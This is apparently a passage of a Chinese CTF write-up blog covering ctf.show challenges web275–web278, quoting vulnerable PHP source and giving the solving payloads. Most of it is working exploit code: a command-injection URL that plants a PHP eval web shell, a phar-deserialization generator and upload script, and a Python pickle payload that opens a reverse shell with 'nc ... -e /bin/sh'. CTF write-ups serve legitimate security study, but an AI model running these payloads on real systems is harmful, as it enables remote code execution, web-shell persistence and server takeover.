zo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag

web275

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

一开始以为是条件竞争,但是发了下请求会发现如果在 $_GET['fn'] 中带上 /var/www/html/,后面的 unlink 会因为重复了两遍路径删不掉文件,也就不需要条件竞争就可以持久化写入文件。但是因为正则对文件名进行了限制,没找到可以代替 php 的扩展名,就没能上传 shell
再观察可以发现 filter 类的 __destruct 方法中的命令是字符串拼接,那么就可以任意命令执行了。
payload: ?fn=a%3Becho%20'%3C%3Fphp%20%40eval(%24_POST%5B1%5D)%3B%20%3F%3E'%20%3E%20shell.php%3B

web276

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这道题相比上一题增加了 $admin 的限制,不再能直接执行任意命令。要想通过反序列化实现 $admin === true,会发现找不到 unserialize 函数,这就需要用到 phar 反序列化,而且正则刚好没有过滤 phar
首先构造 phar 的文件,将 filter 存储在 meta-data 中以备反序列化。

<?php

class filter
{
    public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

@unlink("payload.phar");
$phar = new Phar("payload.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new filter();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo "done.";

然后因为文件名加上 /var/www/html/unlink 的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar

import requests

url = "http://70640f7f-4359-43eb-b966-dcd85bc7f53b.challenge.ctf.show:8080/"

target = "/var/www/html/d.phar"

with open("payload.phar", "rb") as f:
    payload = f.read()
_ = requests.post(f"{url}/?fn={target}", data=payload)
target = "phar://d.phar/test"
_ = requests.post(f"{url}/?fn={target}")

蚁剑连接 shell.php

web277

html 注释看到 /backdoor?data= m=base64.b64decode(data) m=pickle.loads(m),可知是 python 反序列化漏洞,构造 payload 反弹 shell

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh",)


print(base64.b64encode(pickle.dumps(RCE())))

获取 shellcat flag

web278

web277,禁用了 os.system 但不影响 os.popen

上一篇:3A游戏的必备工艺! 天美是如何将动作捕捉运用到游戏中的?


下一篇:从叙事神作到暴力游戏:《最后生还者 第二部》与「叙事失调」难题